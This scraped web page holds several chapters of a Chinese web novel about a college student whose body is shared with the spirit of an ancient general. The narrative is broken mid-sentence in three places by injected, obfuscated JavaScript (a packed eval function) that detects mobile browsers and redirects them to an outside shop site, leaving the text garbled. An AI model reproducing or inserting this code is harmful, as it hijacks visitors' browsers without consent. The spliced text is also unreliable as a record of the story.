她这么说着,也顾不得擦没擦好,抓过一旁的浴巾把自己包住,开门就冲向自己的卧室。 章琪看着风一样卷走的女儿,在原地愣了好半天,看着一路留下的滴滴答答的水迹,终于回过神来,“头发没擦!” 林一简:“我回屋擦!” 她这么回了一句,“啪”地把门关上。 虽然她妈进去了也发现不了什么,但林一简莫名紧张。 总算安全到达卧室的林一简大松口气,她背靠着门一点点滑落,非常冷静地开口发问:“你什么时候走?” 李晦:[……] 都问出声了,看起来可一点也不冷静。 但是这问题,他还真没办法给个确切的答案。 [我三晚上没有阖眼了。] 什么时候醒,完全看什么时候有人叫他。不过就他睡前和赵敦益的对话,对方看起来没事不会来找他。 林一简:“……” * 第二天,去机场的路上。 林一简一个哈欠接着一个哈欠。 章琪看得直皱眉,“不是叫你昨晚上早点睡了吗?怎么回事?” 林一简沉默了一下,如实回答:“……睡不着。” 发生了那种事,怎么可能睡着啊?! * 另一边,对着主将那“如今锦平城刚刚拿下,城内事务繁杂,你怎么能放任我酣眠整日”的质问,赵敦益简直满脑子问号。 那不是你“天大地大、老子睡觉最大”的态度,谁敢去叫啊?! 11.第 11 章 A大,女生宿舍三栋401。 “亲爱的,一个月没见,想死我了!” 欧阳艺说着,就要抱过来。 林一简当然也很想念对方。 她这一个寒假过得跌宕起伏、再回学校都恍若隔世,看见几位室友当然也倍感思念。 不过她实在没办法表现得像欧阳艺一样外放。 性格使然是一方面,另一方面也过了“久别重逢”的窗口期——林一简是比报到日早了半天返校,而欧阳艺因为家里的一些意外请假了两天半,卡着开课的时间到校——差了近三天,再有什么离别之情也冷却下来了。 但毕竟是许久不见的好友,林一简还是很配合地做出了回应拥抱的姿势。 变故发生在将要抱上的一瞬间,林一简察觉异样后还没怎么反应过来,就眼睁睁地看着自己一个矮身,从对方的臂弯下绕过,后退半步,牢牢抓住了对方的手臂。 察觉到手腕上意图扭转的动作,林一简心底一突,她终于反应过来,脑内简直惊声尖叫地叫了“停!”,崩溃质问,[你干什么啊?!!] 李晦也回神,[抱歉,顺手……] 他一过来就看见一个不认识的女人贴过来,可不就是顺手吗? 林一简噎了一下,就在她满脑门子官司想着怎么解释现在的状况,却见欧阳艺半点都没察觉有什么不对,甚至还眼睛一亮地“嚯”了声,“不错啊!你这个寒假练过啊?” 林一简:“……” 多亏欧阳艺是个缺心眼(无贬义)。 她松了口气,含糊答:“学了一点点。” 欧阳艺还想接着追问,寝室门被推开。 冯歆悦拎着水壶进来,看见里面的场景一愣,“欧阳?你什么时候回来的?” “刚到。”欧阳艺示意了一下自己还没放下的行李箱,准备故技重施,给冯歆悦一个久别重逢的拥抱,却被寝室长冷漠无情地躲开了。 冯歆悦:“你快看看你的课表吧?被刷下去多少课?” 欧阳艺一脸so sad的表情让开,到底老老实实放下行李箱,拿出笔记本电脑登录教务网。 几分钟后,她发出一声惨叫,“啊!我的篮球课!” 正巧这会儿401的最后一位成员也回来。 叶竺妍一边推门进,一边问:“什么篮球课?欧阳你篮球课选上了?” 话没说完,对上了后者怨念的眼神。 叶竺妍:“……” 好吧,她知道了。 “不过说起篮球课来,我记得……” 叶竺妍像是想起什么来,这么说着,将目光转向林一简,林一简回了个苦笑。 选课真是一门玄学。想上的人被刷下去,用来保底的偏偏中选了。 林一简对篮球的了解,仅限于球飞过来的时候抱头蹲下……也不知道期末考的时候怎么办。 欧阳艺倒是很快调整好心情,对着林一简大包大揽,“放心,到时候我教你。” 林一简:“谢谢啦。” 说实话,她不抱什么希望。要是这种事教能教会的话,她也不至于四肢不协调这么多年了。 脑海里的声音适时开口,[什么篮球课?] 是李晦的询问。 林一简不知道李晦这几天是怎么过的,但这确实是上次之后对方第一次过来。又因为一开始的惊险,林一简都没有闲心尴尬,等回过神来,好像就把那事揭过去了。 林一简暗自松了口气,但是关于这个问题。 她想了想,开口,[等到时候上课,你就知道了。] 毕竟现在她来科普,也只能干巴巴地给出“用手拍的球”这五个字简介,嗯……或许还可以加上一句“竞技体育”。 * 锦平城内。 虽已入夜,但节度使府邸仍旧灯火通明。 孙成举败逃,如今占据节帅府的自然是李晦带来的人。 赵敦益和杜彦之一同入内,就看李晦半撑着脑袋,头往下一点一点的,两人脚步一顿,都不约而同的放轻了动静。 虽说入城第一日李晦一副“万事不管、老子睡觉要紧”的态度,但接下几日却是为城中情况很废了一番心神,连睡觉都是浅眠假寐。 赵敦益虽是心里嘀咕“这位到底什么时候转性了”,但到底有点歉意。 他还以为对方那天睡醒后“城中诸事繁杂”的指责是没事找茬,结果这人居然真的很上心。 连杜彦之都有所改观,觉得自己当日是以貌取人了。 也因为这个缘故,两人这会儿虽有事来禀,但是瞧见李晦现在的样子,却都没有出声。 两人对视一眼,正待轻手轻脚地退出去,却见那边李晦一下子没撑住,脸擦着手臂跌到桌面上。 这一下子磕得可不轻,“咚”的一声响后,赵敦益不自觉地闭了下眼,但是睁眼再看,那边人居然没醒。 赵敦益:“……” 这可真是睡死过去了。 杜彦之摇头失笑,“将军这几日甚是辛苦,也该歇歇了。” 赵敦益欲言又止。 他倒不是说李晦不辛苦,但是这明显不正常啊!要是没有节帅接应,李晦为锦平城费这么大心思他还信,但问题是现在有大军当底气,他吃饱了撑的给自己找麻烦? 杜彦之不知道赵敦益的腹诽,他这几日对李晦的印象不错,看人就带了点看自家子侄晚辈的态度,甚至还多关心了一句,“将军这么睡,恐怕醒来要不舒坦,不如把人挪到榻上?” 赵敦益总算回神,却是摇头,“不用了,他不习惯人近身。” 别看人睡得这么死,他要是凑过去,李晦分分钟动手。他可不去讨那个嫌。 杜彦之听后,倒也没强求。 毕竟若论亲疏,这位副将对李晦的了解可比他多多了。 两人低声商量了下吴家的帖子,他们也是为这事来的。 对面接连两次递帖子,这会儿再拒那就是下面子了。强龙不压地头蛇,何况这次对面是主动示好。 杜彦之想了想,做主道:“先应下罢。若是将军无暇分身,我代将军去就是。” …… 李晦这一觉虽说睡得浑身酸疼、但到底恢复了精神。 心情不错之下,听闻吴家的邀约也没发什么牢骚,还不等杜彦之解释什么,他就很干脆地一口应下。 杜彦之一愣。 他想想那日李晦的态度,自行给人找了原因解释,想来是长途奔袭、太过疲累,以至于精神不佳,烦于应付…… 年轻人嘛,一时脾气也可以理解。 * 李晦那边被微妙滤镜的事连他本人都不知情,林一简自然无从得知。随着开学上课,林一简生活也渐渐跟着新学期的课表步入正轨。 不过毕竟假期刚过,大家的心还都飞在外面。刚一到周末,401的几人相约就一块儿去了附近的商厦。 虽然以几个学生的购买力,也买不了什么东西,但是逛街重点就在一个“逛”字么~ 说是一块儿逛街,大家的兴趣到底不一样,在陪着叶竺妍狠试了一番衣服之后,几人又到了欧阳艺很感兴趣的电子产品店。其他几人对此的兴趣只能说是一般,又因为先前陪着逛衣服确实废了不少精力,体力最废林一简率先宣告退出。 她跟欧阳艺打了个招呼,表示自己去一边的奶茶店等着。 欧阳艺习以为常地挥挥手,另外几人也都习惯,倒是脑子里的那个声音颇感遗憾,[再看看嘛~] 林一简:[……] 合着不是你受累。 大概这无声吐槽被听见了,对面很爽快,[那就让我来。]

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003069|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林一简顿了一下,[不、不用。] 就李晦上次那反应,她担心自己室友的人身安全。 李晦还想说什么,随着林一简的奶茶到手,他一下子安静下来。 隐约猜到原因林一简噎了一下:这是不是也太好哄了? 几分钟后,同样精力条见底的叶竺妍也过来了。 两人各自捧着一杯奶茶刷手机,林一简走着神构思着自己的漫画分镜,叶竺妍不知道是在水群还是和谁聊天,打字速度溜到飞起。 过了一会儿,对面突然发出一声惊呼。 林一简抬头:“怎么了?” 叶竺妍:“咱们学校的运动打卡出新规了!” 她一边说着,一边把手机递过来。 为了提高当代大学生的身体素质,学校也算是煞费苦心了。体育课体测这些基础规定暂且不提,其他诸如学期中的运动会、班级间的篮球赛也没少搞,不过爱运动的依旧运动,不爱运动的依旧不动……虽然校方为运动打卡做出了种种限制,试图以绩点学分胁迫让学生们动起来,但是耐不住上有政策下有对策——吃饭前签个到、吃饭后签个退,当天的运动打卡就圆满完成,甚至在人脸识别系统开设前,这事完全可以托付室友。 不过大家把对策搞得这么明目张胆,新的政策也下来:手机定位、APP记录。 大家不是不爱跑操场吗?行啊,地点自由选择,记得打开GPS定位位置、上传打卡照片。 林一简看完之后,整个人都不好了。 救命!学校要不要这么搞人心态啊!! 李晦不能理解:[不就跑个步,至于吗?] 林一简肯定:[很至于!] 她宁愿考试周再加三门硬课,也不想再测一遍体测。不行就是不行!微分数论逼急了可以做出来,但是十二分钟跑真的要命! 李晦想了想,[我可以帮你。] [嗯?] 林一简愣了下,但是回神之后,却是语气迟疑,[会不会太麻烦你了?] 李晦倒是很不在意,[就是跑步吧?又不是什么大事,你不是也帮我了吗?] 像是想起什么,他又笑,[你说的、‘互帮互助’?] 尾音带着点轻哼的上挑语调,语气是不带恶意的调侃。 林一简耳朵有点烫。自己的话被这么重复,让人莫名不好意思起来。 她原本捧着杯子的指尖不自觉绕上耳朵边的头发,又轻轻碰了碰发红的耳朵,小声,[谢谢啦。] 李晦真没觉得这是什么大事,不过林一简这态度么。 感受这对方那略微不自在的情绪,他只思索了一瞬,就趁机开口,[你要是觉得过意不去的话……] ——有便宜不占王八蛋! …… 三分钟后,叶竺妍看着捧着明显大一号纸杯坐回来的林一简,满脸问号,“你又买了杯新的?还是大杯?这家奶茶这么好喝吗……全糖?!” 无意瞄到上面标签的叶竺妍简直震惊了。 林一简不知道怎么回答,只能含糊其辞地“嗯”了声。 本来只是为表感谢,再买一杯的,但是因为买的过程中某人一直哔哔赖赖,最后就变成了这结果。 叶竺妍对着自己杯子喝了一口,满脸严肃、似乎在仔细品味。 过了一会儿,她抬头,“确实挺好喝的,奶味很浓,茶味儿也很正,甜点应该味道更好。你等着,我也去再买一杯!” 林一简:“……”倒也不必。 脑子里那声音趁机:[你看,我就说两杯没什么的,你朋友都要两杯。不如——] 不等那个“不如”说完,林一简已经面无表情地一口拒绝,[不可能!] 今日份的奶茶摄入超标了啊! 这家伙懂不懂什么叫适可而止?! 12.第 12 章 李晦虽然对吴家的这场宴会兴致缺缺,但是既然答应的事,他也没打算反悔。到了日子,便带着杜彦之一同赴了宴。 按时辰算,这称得上场夜宴了。 李晦到吴家的时候,天色已经有些暗下。为迎接贵客,吴家的院中早早地点起了灯,冬日里的树干光秃秃的,但是在幢幢灯影之下,隐约可见彩绸装饰。 杜彦之看到这情形,却是脚步一顿,眉头不自觉拧起。 他受安思范指示在锦平当暗桩,混进了孙成举麾下,因此也见过吴家对后者的态度。这些人对孙成举这个正牌定平节度使都态度平平,隐有轻视之意,更别提李晦这个临时据城了。 眼下这阵仗,就是安思范亲至都不一定拿得到。 思绪念转,杜彦之心底已有想法。 要么是贵客另有其人,要么是下马威…… 杜彦之这么想着,不由眼带忧虑地看了李晦一眼:年轻人气盛,可别闹出什么事啊。 可瞥见后者的神情,杜彦之却是一愣。 …… 杜彦之的猜测没错,更准确的说法是两者都有。 吴家家主吴仁辅正跟在一个广袖宽袍的中年人身后,行为举止竟隐带逢迎之态。 明明两人年纪仿佛,吴家家主面相还稍长一些,吴仁辅却一口一个“族叔”,做足了晚辈姿态,而他前面那人也泰然受之,甚至隐隐显出冷淡之态。 吴仁辅并不介意前面人的态度。 他在这锦平城内可以称一句吴家家主,但也只是东淄吴氏的一个小小的分支罢了,眼前这位可是本家里也举足轻重的人物。 这么想着,吴仁辅的态度更热切了些,他前面的吴恪神色依旧淡淡的。 两人站在楼阁上,借着枯枝的掩映看着庭院的入口,隔了一会儿,吴恪突然开口,“这个李惟昭,是什么来历?” 吴仁辅下意识回答,“是安思范义子,因屡建功勋、颇受看重。不过安思范竟以自己佯病为诱饵,令之夜袭锦平,看重程度确实不一般。” 吴仁辅这么答完,却见吴恪并无满意之色,便意识到对方关注的并非这些内容。 不过“来历”? 吴仁辅拧着眉思索了一会儿,也没想出什么所以然来,只能不确定道:“既是安思范义子,当是朔州那一带的人,也没听说过他有什么家世……朔方前些年混战频频,应当是战乱留下的孤儿?” 吴恪对这个回答不置可否。 他又低头看了一眼,灯火通明、锦绸为饰,这般富丽堂皇的景象,对方身处其中,却连点眼神都欠奉。 若这个定力十足的老狐狸还好说,但是以对方这年纪,本就易为外物所动,若非见惯豪奢,哪来如此气度? 说这是毫无背景家世? 呵。 * 杜彦之也有同样的疑惑。 不过和吴恪不同,他毕竟是安思范手底下的人,对李晦的来历知道得更多一点,因而就越发困惑。 他顿了顿,到底抵不住开口试探,“烛火映明、亮如白昼,锦绸为帐、冬去春来……颠倒昼夜、扰乱四时,这吴氏不愧豪富。” 李晦:“……啊?” 他一时没明白过来,被杜彦之这么一提醒,总算有点意识。 他抬眼打量了番这院子,酝酿半晌,终于很违心地挤出了句,“是挺不错。” 但要说“亮如白昼”“冬去春来”,实在是太过了。见过这形容的字面意思,再看这些,闭着眼都说不出这种瞎话来。 杜彦之仔细打量了番李晦的神情,确认对方真的是眼神平淡、无一丝动容之意,终是叹声感慨,“将军是做大事的人。” 李晦:“……” 那倒不至于,就是看得多了而已。 他还想说点什么,却察觉异样,他倏地抬头,眼神锐利地朝上方看去,隔着枯枝的掩映,和楼阁上的人对上了视线。 吴恪猝不及防愣了下。 少顷,却笑出了声,“走,我亲自去会会他。” 吴家家主错愕:“族叔?” 谁知道这些人讲不讲究啊?要是万一被拿来当人质威胁吴家,他们岂不是要糟? 吴恪摆摆手示意无事。 好久没碰见这么有意思的少年人了,不亲自去见见岂不可惜? * 林一简正在努力忍住打哈欠的欲望。 昨天两杯奶茶喝下去,晚上不出预料的失眠了。她睁眼盯着床帘顶棚看到了凌晨两点,终于酝酿出来点睡意,早上五点又自然清醒。 林一简:“……” 还有另一个不幸的消息,她今天满课。 在昏昏沉沉地度过了上午两节大课后,林一简也没什么胃口,她在教学区买了点三明治对付了一下午饭,趁着午间趴在教室里小睡了一会儿,总算能睁着眼睛上下午的课了。 但依旧很困…… 林一简努力把视线放在投影屏上,试图捕捉耳中的每一个字眼,但是眼前的文字渐渐重影,耳中的声音也变成了无意义的嗡鸣——非常催眠。 林一简头往下跌了一下,瞬间清醒。她搓了把脸,拿起笔来,尝试记笔记提神。 五分钟后,又再次重复上个循环。 好在这是节大课,下午第一节又是最容易犯困的时候,林一简在其中并不显眼。 终于熬到了课间,几乎什么都没听进去的林一简放心往桌子上一趴,连教室里突然变得嘈杂的交谈声都成了白噪音,她差不多是秒睡,当然也没听见旁边的交谈。 “多谢宸哥,你怎么知道我困了?还特意帮我买咖啡,多不好意思啊!” 旁边那男生这么说着,可半点都没有“不好意思”的表现,伸手就要去接。 陈宸一拎袋子躲开,“不是给你的。” 伍徵明怪声:“唉?不是吧?你一个人喝两杯?这可是下午啊,你晚上要不要睡了?……别那么客气,兄弟我帮你分担点。” 陈宸拧眉:“你小点声。” 他这么说着,往旁边看了一眼。 伍徵明一开始还不明所以。 ——这可是课间,他声音也不大啊? 但看见陈宸的动作,很快意识到什么,再看陈宸手里的咖啡,立刻露出了“我懂我懂”的眼神。 他之前也注意到了旁边那女生了,下午课大家都很困,但是像那个女生那么坚持还真的不多见,头一点一点地还挣扎着清醒……还怪可爱的。 就没想到老陈下手这么快。 伍徵明啧着声唏嘘着“没想到没想到”,在对面渐露威胁的眼神下,终于做了个封嘴拉拉链的姿势,但紧接着又接上,“加油!兄弟我精神上支持你。” 陈宸那杯咖啡还是没送出去。 林一简这一觉直接睡到了连上三节的大课结束,期间两次上下课铃声完全没听见。 伍徵明都忍不住开口,“这是什么睡神……睡美人、睡美人行吧!” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026396|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说着,已经扯着书包往外走,“我去教二了,要是点名我帮你应着,可别说兄弟我不帮忙啊,回头成了请我吃饭!” 有了伍徵明的鼎力相助,陈宸也没能在这里待多久。 没过一会儿,这间教室里就陆陆续续来人,明显接下来还有课。 陈宸不得已,抬手轻轻推了推人,“同学、同学!” 林一简迷迷糊糊被叫醒,睁眼看见一个不认识的男生。 她还没缓过神来,就听对方开口,“这个教室后面有课,你……” 林一简一下子清醒过来,她等摸过手机看了眼更是脑子一嗡。 她接下来还有课,快迟到了!完球!! 林一简也顾不得许多,飞快的冲那个好心人道了声谢,把桌上的东西一搂,零零碎碎地东西直接倒进了书包里,再次说了声“谢谢啦”,拉起书包转身就跑。 陈宸:“……” 林一简不知道身后的人是怎么无语凝噎,她这会儿正在电梯前急得直跺脚。 上下课间正是电梯最繁忙的时候,电梯一个楼层一停、慢得像龟速,林一简都恨不得去跑楼梯。 但是想想自己当前六楼的高度,她瞬间冷静下来。 走楼梯只会更慢。 正满心焦急,突然听到一个声音,[要我来吗?] 林一简一愣。 李晦?他什么时候来的?怎么没出声? 不过即将迟到的紧迫感压在心头,林一简也没心情思考这些。她想也不想地应了声,就这么做出了一个之后让她悔得肠子都青了的决定。 [麻烦你了。] 李晦“嗯”了一声,接过身体控制权后,果然转而去了楼梯。 林一简还想指路呢,却见李晦一副比她还熟的态度,不由想起上周这两节课就是两人一起上的……但这人记性这么好的吗? 林一简还想着这些呢,就觉得自己的手臂撑住了楼梯扶手。 她隐约察觉到发力的方向不对,但还不及反应,就觉重心上移、视线偏转,整个人腾跃而起。 林一简:??! [等——] 她出声的这会儿功夫,脚已经落在下一层楼梯上,并没有踩实、而是接力在台阶上一点,就丝滑流畅地再次撑起栏杆转向,林一简甚至能感觉到惯性甩出去的书包把正把她往后拉拽。 林一简紧急消音、不敢出声,生怕对方一个分神把自己摔出个好歹来。 东区教学楼的楼梯是镂空的,从外面能直接看到,林一简听到了下面好几声“卧槽”,目光往下瞥的时候,甚至好像看到有人拿出手机录像,等再仔细看看……仔细看个鬼啊!她恐高!! 李晦似乎有所察觉,难得体贴地问了句,[你害怕?那我闭上眼。] 说着,身体还在腾空中,眼前真的陷入黑暗。 林一简崩溃:[给我好好看着啊——!!!!] 后续并没有出现林一简担心的在楼下被围观的可怕场面,因为李晦翻到三楼就停了。 林一简为终于脚踏实地的安全感松了口气,甚至来不及思考对方这举动的缘由,直到李晦撑上了三楼的窗台。 林一简刚刚放下的心猛地提到了嗓子眼,[你想——] ……干什么? 没问完的话被对方以实际行动给出了解答。 李晦瞄了两眼对面的二楼窗户,按着窗台一个借力、就那么跳出去了。 跳!出!去!了!!! 13.第 13 章 林一简的下节课确实是在旁边楼的二层,但这“两点之间直线最短”的赶路方式委实是她没想到的。 大脑空白,人甚至暂时性失语。 直到李晦翻到对面的二楼站定,问了句“你刚才说什么?”,林一简才终于回神。 再看李晦这仿佛无事发生的态度,心头一万只草泥马狂奔而过。 林一简艰难出声:[……你先回去。] 李晦“哦”了声,果真交出了身体控制权。 接手的林一简一个腿软,差点跪在地上。 李晦意外:[怎么了?] 林一简不想回答。 她扶着墙稳住身体,艰难地从拐角挪了出去。 也多亏了李晦选的这扇窗在过道拐角,平常没有什么人来,不然又是一波围观……不,她一点都不感谢。 林一简正努力平复着心情,却听不远处一声询问,“一简?” 是欧阳艺。 大一的基础课并不是按专业分的班,但两人这节课恰巧排到了同一节,林一简倒不意外碰见对方。 欧阳艺却很意外,“你这是怎么了?” 她这么说着,人已经上前两步,伸手搀住了林一简。 林一简半松口气,如实回答,“腿软。” 欧阳艺了然:“你跑过来的吧?” 林一简:“……” 不,你绝对想不到我过来的方式。 欧阳艺还在接着:“你上节有课吧?干什么这么着急?迟到几分钟又没什么,还有我帮你占座呢。” 林一简心有戚戚地点头。 是的,比起迟到来,还是自己的小命更重要一点。 欧阳艺有点意外林一简这态度,但是没有多想,而是顺势接上了下个话题。 她一边架着林一简往教室走,一边开口,“你刚才看到没有?旁边楼有人跑酷!可惜时间太短,我没来得及拍下来……” 林一简:“!” 幸好没拍。 “诶,对了!一简,你上节课就在那栋楼吧?从那边过来,有没有看见大神本神?要个签名什么,真帅啊!” 林一简:“……” 你们只看到了帅,都不关心当事人冒着多大的风险。 好在欧阳艺也就是随口一聊,并不需要林一简回答什么,又因为情绪偏向兴奋,在林一简完全没有配合的情况下,也没觉得有什么不适。 两人这么说着话进了教室。 等终于坐到座位上,林一简才彻底安下心来,语气虚弱地,[下次别这样了。] 李晦感受着那后怕的情绪,非常不能理解:[我又没摔着你。] 就林一简这身体素质,他还特意下了好几层楼呢。 林一简:这是摔不摔着的事吗?!真摔着就完了! 李晦看着陆陆续续到教室的人,渐渐理直气壮:[这不是赶上了嘛?] 你就说这事办没办成吧! 林一简:[……] 她咬牙:[总之!没有下次!!] 李晦:[……哦。] 李晦这么答应了一声,就没再说话了。 林一简一开始还松了口气,随着沉默的时间延长,却渐渐不安起来。 她禁不住开始反思,自己刚才的语气是不是太凶了?说起来,对方其实是在帮她,她连一句“谢谢”都没有,还说这种话,果然太过分了吧?…… 李晦在观察林一简的情绪反应。 他觉得这小姑娘实在怪有意思的,生完气的反应居然是愧疚?李晦敢打包票,自己这会儿提点稍微过分的要求,对方也会答应下来。 这么好欺负,叫人都不好意思下手了。 嗯……是奶茶炸鸡还是薯条呢?唔上次那个汉堡也不错?先来个三份怎么样? 果然,不多一会儿,就听见对方委婉示好的搭话,[你今天……什么时候过来的啊?] 李晦本来就等着呢,闻言秒答:[就刚才,那人不怀好意地盯着你看的时候。] 林一简:? 什么“不怀好意”?还“刚才”? 林一简还不明所以,李晦反而先一步忧心忡忡起来,[我说你也长点心吧,怎么哪都能睡着?] 说起来两人第一次遇见的时候也是,对方就那么在飞机上睡了。周围全都是不认识陌生人,她一个嫁龄的漂亮小姑娘,还真敢睡啊!这次也是,不又被人盯上了? 李晦还待说什么,林一简则是终于明白过来他那个“刚才”的意思了。 再听听对方这隐带指责话语,林一简脑子一炸、简直怒从心起,[我上课睡觉是谁害的啊?!!] 害得她一整天昏昏沉沉的,罪魁祸首居然还在这逼逼赖赖! ——反思?反思个锤子啊! 李惟昭他不配! * 却说锦平这边。 杜彦之从吴家的夜宴上回来就觉得不对。 吴恪虽出席了宴会,但并未表露身份,只是坐在吴家族人的位置上。 可宴上有这么一个人,吴仁辅却没法平常待之,虽说努力克制,但有时候仍是忍不住眼神征询。往来几次,便被杜彦之察觉些端倪。 因为觉得异样,杜彦之回府之后仍是忍不住细思,越想越觉得吴家这段时日的举止有异。就连第一次递帖子的时候也是,锦平才刚刚城破,吴家便来相邀,未免赶得太急了些…… 杜彦之左右思忖,觉得这事还是和李晦商讨一二。 但等到要求见的时候,却在门口被拦下了。 这毕竟是安思范手底下的人,李晦的亲卫倒也客气,“将军已经歇下了,杜先生要是没什么紧要的事,不如明天再来。” 杜彦之下意识地,“这么早?” 亲卫挠头:“也不早了,往常这时候,将军早歇了。” 杜彦之:“……” 他想起宴会后半段,丝竹渺渺、乐舞曼曼,席间美酒佳肴,都是难得的珍馐,李晦却心不在焉的。为此,上首吴家家主的脸色都不对了。 杜彦之本来还以为李晦是给吴家的施压呢,结果居然是困了。 他难得被噎了一下。 但顿了下,终是摇头失笑。 ——到底是年轻人啊。 杜彦之:“不是什么大事,等明日再说罢。” 不急在这一时,便是吴家真有什么打算,也无非是“兵来将挡水来土掩”罢了。再者,节帅那边的大军将至,急的实在不该是他们。 * 托李晦那一连串操作的福,林一简最后两节课无比清醒。 不过她深深觉得,这“福气”不要也罢。 她宁可像之前那样打瞌睡! 说起打瞌睡来,本来李晦提起“上课睡觉”,林一简是挺生气的,但是李晦的关注点完全跑偏,林一简很快发现他是真的挺担心的。 林一简:??? 不是?这人翻楼梯跳窗的时候不觉得危险,她就上课睡个觉,哪来的危险?被自己的口水呛到,窒息而死的风险吗?别太离谱啊! 林一简还分神听着课呢,不好出言反驳。 但听李晦单方面输出了半天,她终于忍不住:[你别太过分啊,人家是好心叫我。] 她都替刚才那个男生冤得慌。 本来是好心叫个人,结果到了李晦嘴里,就成了心怀不轨、有所图谋了。被害妄想症也没有这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057693|135747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?她身上能有什么图的? 李晦拖长语调,阴阳怪气:[好心?] 林一简一口肯定:[当然是好心!] 李晦“哼”了一声,觉得这小姑娘简直不知人心险恶,林一简莫名其妙并觉得李晦脑子有泡。 双方各执己见,冷战持续到晚饭。 准确地说是持续到食堂打饭的那一刻。 林一简在打饭窗口停了一下,心底有所预感。 果然,下一秒,脑子里的那个声音如常开口点菜。 林一简:“……” 他就没点不好意思吗? 有一说一,这种“有事不过一顿饭”的性格还挺令人羡慕的。 身上多了这么一个吃货,林一简挑食还有点轻微厌食的毛病不药自愈,这会儿吃嘛嘛香。 话虽如此,林一简还是没听李晦那恨不得食堂包圆的点菜方式,只是从对方报的菜单里挑了一荤两素,又接着:“三两米饭。” 中午没好好吃饭,她这会确实有点饿了。 打饭的阿姨听完,抬头多看了她一眼。 林一简:? 阿姨笑眯眯:“难得啊,现在的小姑娘都不好好吃饭。学习这么累,不多补补哪受得了啊……” 阿姨这么说着,打菜的时候非但没有手抖,给了个满勺还多加了点汤。 林一简:“……谢谢阿姨。” 她刷了卡端着餐盘往回走,脑子里的那个声音拿腔拿调地学话道:[听见没有?‘好好吃饭’。] 林一简:[……] 够了!你小学生吗?而且你那叫“好好吃饭”吗?你那叫“暴饮暴食”! 不想和对方争论这个幼稚的话题,林一简维持了先前的冷战状态,根本没搭茬。 她张望了下,见那边欧阳艺还在排队,干脆先找座位,本来食堂高峰期找座位是件挺麻烦的事,但是现在么…… [右手边数五个,再往前两排,那边几个人要吃完了。] 林一简:[……] 这人在吃的上特别积极。 被这么帮了一下,到底不好接着沉默下去。 林一简一边往那个方向走,一边问:[今天有点晚,你那边有事?] 李晦倒是半点没有心理障碍,很快应了声,[挺无聊的应酬,见了一群很没意思的人。节目不好看,东西也不好吃,聊的事也很没趣……] 林一简一下子想到了年节前后的亲戚聚餐,再想想李晦先前说的时间点,顿时“明白”了对方的意思。 她心有戚戚地点了下头,感慨,[你们那边也快过年了啊。] 李晦一愣,[确实快了。] 他沉吟,[不知道义父的人什么时候过来。要是赶早的话,能在年前回去。] 林一简怔了下,才想起来:对啊,对方在打仗啊! 快开学的时候李晦才告诉她,这一仗赢了的。她仿佛记得,对方说是“平叛”来着。 林一简按照电视剧得出的经验,迟疑着:[那你这次回去、回京,应该会被封赏吧?升职加薪,呃、升官发财……咳、也不对,我的意思是,叛乱平定,你们的皇帝陛下应该很高兴,又赶上过年,正好适合庆祝……] 林一简怎么说都觉得不太对劲,甚至声音都越来越小。 李晦太无缝融入现代生活,搞得她提“皇帝”都觉得很奇怪。正常不应该开口闭口“奉命”“皇命”什么的吗?李晦嘴里皇帝存在感也太弱了! 李晦:[……] 他沉默了好一会儿,才语调怪异地,[可能……吧。] 孙成举之乱平息固然可喜,但这份年礼由他义父送上去,顺帝该“高兴”得睡不着觉了。 14.第 14 章 被李晦评价为“很没意思”的吴家人也在讨论他。 因为有先前吴恪的提点,吴仁辅在宴上也有留心,他确实承认对方的见识可能不一般,但是当吴恪提起“我记得你有个女儿,尚在闺中”的时候,吴仁辅还是下意识露出了拒绝的神色。 吴仁辅承认,那小子或许是有些来历。 但不管这人曾经的身份如何,如今不过是安思范麾下了一个将领罢了,配他吴家的女儿……安思范的亲儿子还差不多。 态度这么明显,吴恪自是看出来了。 他也无强求的意思,只淡淡地瞥了人一眼,就不再提了。 吴恪这反应,反倒让吴仁辅心底刺挠起来。 他静默了一会儿,到底嗫嚅着开口给自己解释,“族叔的话侄子自是听的,只是……我这小女儿容色出众,又自小被我娇宠,我实在是盼她嫁个好人家。” 这是想攀高枝呢。 吴恪又瞧了人一眼。 这人也不想想,如今这世道、哪有什么安稳无虞的大树? 到底是自家族人,吴恪顿了下,还是开口点了句,“以安思范的脾性,若是身体无虞必定会亲攻息州,如今却故布疑阵、命手下人夜袭锦平,那‘身上有恙’的消息便不是十成的真,也有八.九分可信……早些年的时候,安思范阖家被先云州刺史所屠,如今膝下只有一三岁稚儿,他若出事,朔方兵事由何人接手?” 反正不可能是那三岁小孩,朝廷也绝对插手不进去。 那就只能是—— “安思范麾下部将。” 